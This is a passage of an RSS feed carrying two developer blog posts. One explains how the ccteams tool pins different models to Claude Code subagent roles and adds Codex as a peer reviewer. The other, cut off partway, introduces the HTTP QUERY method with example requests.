    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Then &lt;code&gt;/ccteams:choose-team something for backend API work&lt;/code&gt; picks and applies the right team from a natural-language description.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;the-models-are-already-assigned&quot; href=&quot;https://dev.to/toffy/use-fable-5-where-it-pays-for-itself-1809#the-models-are-already-assigned&quot;&gt;
  &lt;/a&gt;
  The models are already assigned
&lt;/h2&gt;

&lt;p&gt;Here&#39;s the part I only got right recently: every bundled agent already ships with a &lt;code&gt;model:&lt;/code&gt; in its frontmatter, assigned by how much reasoning the role needs. You don&#39;t add anything. &lt;code&gt;ccteams use generalist&lt;/code&gt; lands this:&lt;/p&gt;

&lt;div class=&quot;table-wrapper-paragraph&quot;&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Agent&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;th&gt;Model (preset)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;(main session)&lt;/td&gt;
&lt;td&gt;Orchestrator&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Fable 5&lt;/strong&gt; — you pick this with &lt;code&gt;/model&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;scope-planner&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cut scope, pin down requirements&lt;/td&gt;
&lt;td&gt;&lt;code&gt;opus&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;architect&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Design decisions&lt;/td&gt;
&lt;td&gt;&lt;code&gt;opus&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;builder&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Implementation, boilerplate, tests&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sonnet&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;qa-reviewer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Verification, edge-case hunting&lt;/td&gt;
&lt;td&gt;&lt;code&gt;opus&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;shipper&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Commits, CI, chores&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sonnet&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Open any agent file and the line is right there:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight markdown&quot;&gt;&lt;code&gt;&lt;span class=&quot;nn&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;architect&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Technical design specialist. ...&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;tools&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Read, Glob, Grep, WebSearch, WebFetch&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;opus&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;# ← already set by ccteams&lt;/span&gt;
&lt;span class=&quot;nn&quot;&gt;---&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;The one model ccteams doesn&#39;t touch is the lead session&#39;s — that&#39;s yours to pick with &lt;code&gt;/model&lt;/code&gt; (Fable 5). Everything below it is pinned.&lt;/p&gt;

&lt;p&gt;The split is similar to the usual “thinker / doer” setup, but the extra roles matter. Once the work is separated into scoping, design, building, review, and shipping, delegation gets much more precise — and the model choice becomes part of the role instead of a judgment the orchestrator has to remake every time.&lt;/p&gt;

&lt;p&gt;The important detail is that I do &lt;strong&gt;not&lt;/strong&gt; assign Fable 5 to roles like &lt;code&gt;architect&lt;/code&gt; or &lt;code&gt;qa-reviewer&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That can look backwards at first. If planning and review are the important parts, why not put the best model there too? Because by the time a task reaches those agents, Fable 5 has already done the hardest part: turning an ambiguous user request into a clear, bounded problem that another model can solve.&lt;/p&gt;

&lt;p&gt;That is where Fable 5 earns its keep — ambiguous, long-running work full of tradeoffs. Once the question is clearly framed, Opus is usually more than enough to propose a design or review a fix. And those agents still do not get the final say. They propose; Fable 5 decides what to accept.&lt;/p&gt;

&lt;p&gt;So Fable 5 keeps control of the core judgment without spending tokens on every intermediate role. The setup does require good orchestration rules and agent prompts, but that is exactly what ccteams installs for you.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;adding-codex-as-the-peer-engineer&quot; href=&quot;https://dev.to/toffy/use-fable-5-where-it-pays-for-itself-1809#adding-codex-as-the-peer-engineer&quot;&gt;
  &lt;/a&gt;
  Adding Codex as the peer engineer
&lt;/h2&gt;

&lt;p&gt;OpenAI&#39;s official Codex plugin lets you call Codex from inside Claude Code (install the Codex CLI on your machine first):&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;/plugin marketplace add openai/codex-plugin-cc
/plugin &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;codex@openai-codex
/reload-plugins
/codex:setup
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Then add one paragraph to your project&#39;s CLAUDE.md (below the &lt;code&gt;@.claude/active-team.md&lt;/code&gt; import that ccteams creates):&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight markdown&quot;&gt;&lt;code&gt;&lt;span class=&quot;gu&quot;&gt;## Peer engineer&lt;/span&gt;
Codex (/codex:rescue --background) is a peer senior engineer with a different
perspective. For high-stakes decisions, task the architect agent and Codex on
the same problem in parallel and synthesize — without showing either the
other&#39;s answer.
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;The point is to use Codex as a peer rather than a rubber-stamp reviewer. On a high-stakes call, I give the same problem to the Opus-pinned architect and to Codex at the same time, neither seeing the other&#39;s answer, and let Fable 5 reconcile the two. You get the most out of this when the two models come from different lineages — Opus and Codex were trained differently enough that they tend to miss different things, so one often catches what the other glossed over.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;back-to-add-rate-limiting&quot; href=&quot;https://dev.to/toffy/use-fable-5-where-it-pays-for-itself-1809#back-to-add-rate-limiting&quot;&gt;
  &lt;/a&gt;
  Back to &quot;add rate limiting&quot;
&lt;/h2&gt;

&lt;p&gt;Remember that one-liner from the top? Here&#39;s the whole prompt I use:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;Add rate limiting to our API.
Context: Express + Redis, deployed as 3 instances behind a load balancer.
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;I just state the goal. Claude Code routes the rest on its own — it matches the task against each agent&#39;s &lt;code&gt;description&lt;/code&gt; and delegates automatically, so Fable 5 sends the algorithm-and-storage question to &lt;code&gt;architect&lt;/code&gt;, the implementation to &lt;code&gt;builder&lt;/code&gt;, the edge cases to &lt;code&gt;qa-reviewer&lt;/code&gt;, without me naming any of them.&lt;/p&gt;

&lt;p&gt;And because each agent&#39;s model is pinned in its frontmatter, that routing decision &lt;em&gt;is&lt;/em&gt; the model decision. The moment &lt;code&gt;architect&lt;/code&gt; is chosen, the design call runs on Opus, where being wrong is expensive; &lt;code&gt;builder&lt;/code&gt;&#39;s middleware and tests run on Sonnet. Fable 5 plans and synthesizes on a clean context and writes no code itself — so the priciest model in the room is billed only for the judgment that actually needed it.&lt;/p&gt;

&lt;p&gt;That was the goal all along: not to spend less on Fable 5, but to spend it only where it pays for itself.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;in-short&quot; href=&quot;https://dev.to/toffy/use-fable-5-where-it-pays-for-itself-1809#in-short&quot;&gt;
  &lt;/a&gt;
  In short
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Fable 5 is worth its price on judgment — planning, design, review — and wasteful on everything else&lt;/li&gt;
&lt;li&gt;The hard part of this setup isn&#39;t picking models, it&#39;s &lt;strong&gt;designing the team&lt;/strong&gt; that surrounds them&lt;/li&gt;
&lt;li&gt;
&lt;a href=&quot;https://www.npmjs.com/package/ccteams&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;ccteams&lt;/a&gt; installs a considered team in one command — orchestration rules &lt;em&gt;and&lt;/em&gt; a per-agent &lt;code&gt;model:&lt;/code&gt; preset included, so the Fable-lead / Opus-reason / Sonnet-build split is live the moment you apply it&lt;/li&gt;
&lt;li&gt;Pick your lead model with &lt;code&gt;/model&lt;/code&gt;, restart Claude Code, and you&#39;re done — repin any agent&#39;s &lt;code&gt;model:&lt;/code&gt; line if you want a different split&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If this saves you some setup, a star on &lt;a href=&quot;https://github.com/toffyui/ccteams&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;the repo&lt;/a&gt; is the nicest way to say so — and if the presets don&#39;t match how you&#39;d split the work, open an issue and tell me 🙌&lt;/p&gt;


            </description><link>https://dev.to/toffy/use-fable-5-where-it-pays-for-itself-1809</link><guid isPermaLink="false">https://dev.to/toffy/use-fable-5-where-it-pays-for-itself-1809</guid><pubDate>Thu, 02 Jul 2026 19:56:24 GMT</pubDate><author>Yuiko Koyanagi</author><enclosure url="https://media2.dev.to/dynamic/image/width=1000,height=420,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkddrje2ie3t13k5rfurd.png" type="image/jpeg"></enclosure><category>claudecode</category><category>ai</category><category>productivity</category><category>agents</category></item><item><title>The new HTTP method : QUERY</title><description>&lt;p&gt;You work with REST APIs? You know &lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;POST&lt;/code&gt;, &lt;code&gt;PUT&lt;/code&gt;, &lt;code&gt;DELETE&lt;/code&gt;... &lt;/p&gt;

&lt;p&gt;But did you know that a new HTTP method was standardized in &lt;strong&gt;June 2026&lt;/strong&gt;? It&#39;s called &lt;strong&gt;&lt;code&gt;QUERY&lt;/code&gt;&lt;/strong&gt; and it solves a problem developers have been working around for 16 years.&lt;/p&gt;

&lt;p&gt;It&#39;s the first new standard HTTP method since &lt;code&gt;PATCH&lt;/code&gt; (2010). Yes, you read that right: &lt;strong&gt;16 years&lt;/strong&gt; without major innovation in HTTP verbs.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;the-raw-get-endraw-method-problem&quot; href=&quot;https://dev.to/tykok/the-new-http-method-query-2bec#the-raw-get-endraw-method-problem&quot;&gt;
  &lt;/a&gt;
  The &lt;code&gt;GET&lt;/code&gt; Method Problem
&lt;/h2&gt;

&lt;p&gt;You want to create an endpoint to retrieve order information from your backend and add filters. You use a &lt;code&gt;GET&lt;/code&gt; method for this endpoint because you&#39;re retrieving a resource and it’s the REST standards.&lt;/p&gt;

&lt;p&gt;You add different parameters to the URL to filter results and return only orders that match your search:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight http&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;GET /orders?select=surname,givenname,email&amp;amp;limit=10&amp;amp;match=&quot;email=*@example.*&quot;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Problems&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;URLs have size limits (often &lt;code&gt;8000&lt;/code&gt; characters max)&lt;/li&gt;
&lt;li&gt;Parameters are visible in logs (security issue)&lt;/li&gt;
&lt;li&gt;Impossible to make complex queries (advanced filters, SQL queries, JSONPath)&lt;/li&gt;
&lt;li&gt;Complex to encode correctly&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  &lt;a name=&quot;what-about-using-raw-post-endraw-instead&quot; href=&quot;https://dev.to/tykok/the-new-http-method-query-2bec#what-about-using-raw-post-endraw-instead&quot;&gt;
  &lt;/a&gt;
  What About Using &lt;code&gt;POST&lt;/code&gt; instead?
&lt;/h2&gt;

&lt;p&gt;To address the different problems with &lt;code&gt;GET&lt;/code&gt; requests, you might turn to a &lt;code&gt;POST&lt;/code&gt; request:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight http&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;POST&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;/orders&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1.1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;api.example.org&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/x-www-form-urlencoded&lt;/span&gt;

select=surname,givenname,email&amp;amp;limit=10&amp;amp;match=&quot;email=*@example.*&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Problems&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;POST&lt;/code&gt; is &lt;strong&gt;not idempotent&lt;/strong&gt; → if the network drops, you can&#39;t safely replay the request&lt;/li&gt;
&lt;li&gt;No standard HTTP caching&lt;/li&gt;
&lt;li&gt;Proxies don&#39;t know if it&#39;s safe to reject/retry&lt;/li&gt;
&lt;li&gt;Each framework implements its own &quot;safe POST&quot; system&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  &lt;a name=&quot;the-solution-raw-query-endraw-&quot; href=&quot;https://dev.to/tykok/the-new-http-method-query-2bec#the-solution-raw-query-endraw-&quot;&gt;
  &lt;/a&gt;
  The Solution: &lt;code&gt;QUERY&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;QUERY&lt;/code&gt; gives you the best of both worlds:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight http&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;QUERY&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;/orders&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1.1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;api.example.org&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/x-www-form-urlencoded&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Accept&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/json&lt;/span&gt;

select=surname,givenname,email&amp;amp;limit=10&amp;amp;match=&quot;email=*@example.*&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Advantages&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No URL size limit&lt;/strong&gt; – The request body can contain SQL queries, JSONPath, or complex filters of unlimited size&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Idempotent&lt;/strong&gt; – Execute the request 10 times = execute it once&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is Idempotence?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An operation is idempotent if calling it multiple times produces the same result as calling it once.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Concrete examples&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ &lt;code&gt;GET /users/123&lt;/code&gt; (idempotent) → 1 call = 10 calls = same data&lt;/li&gt;
&lt;li&gt;✅ &lt;code&gt;QUERY /users&lt;/code&gt; (idempotent) → replaying = same result&lt;/li&gt;
&lt;li&gt;❌ &lt;code&gt;POST /users&lt;/code&gt; (NOT idempotent) → 1 call creates 1 user, 2 calls create 2 users&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why is this crucial?&lt;/strong&gt; If the network drops, you can safely replay without creating duplicates or corruption.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cacheable&lt;/strong&gt; – Proxies, CDNs, browsers can cache the response (like &lt;code&gt;GET&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Request body&lt;/strong&gt; – Send complex data in the body (like &lt;code&gt;POST&lt;/code&gt;), not in the URL&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Safe&lt;/strong&gt; – Never modifies server state (read-only)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Safely replayable&lt;/strong&gt; – If the network drops, you can replay the request with confidence&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;URI for the request&lt;/strong&gt; – The server can create a permanent URL to replay the same request&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;URI for the Request vs. URI for the Result&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;With classic &lt;code&gt;POST&lt;/code&gt;&lt;/strong&gt; (URI of result):&lt;/p&gt;


&lt;pre class=&quot;highlight http&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;POST /orders → 200 OK

Content-Location: /results/xyz789
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;strong&gt;With &lt;code&gt;QUERY&lt;/code&gt;&lt;/strong&gt; (URI of the request):&lt;/p&gt;


&lt;pre class=&quot;highlight http&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;QUERY /orders → 200 OK

Location: /saved-queries/42
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;strong&gt;The magic&lt;/strong&gt;: Replaying &lt;code&gt;/saved-queries/42&lt;/code&gt; re-executes the same SQL/JSONPath query with &lt;strong&gt;updated data&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Concretely&lt;/strong&gt;:&lt;/p&gt;


&lt;pre class=&quot;highlight http&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;# Later...

GET /saved-queries/42

# → The server re-executes the original SQL query

# → You get fresh results
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;What&#39;s it useful for&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Share a query (send the link to a colleague)&lt;/li&gt;
&lt;li&gt;Bookmark a search&lt;/li&gt;
&lt;li&gt;Cache the query (not just the results)&lt;/li&gt;
&lt;li&gt;Replay periodically without resending the body each time
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Thanks to &lt;code&gt;QUERY&lt;/code&gt;, we finally have functional HTTP caching for complex requests. Proxies, CDNs, and browsers can now cache requests with a body. This is huge for performance.&lt;/p&gt;

&lt;p&gt;We also get an evolution in REST API design. Instead of:&lt;br&gt;
&lt;/p&gt;

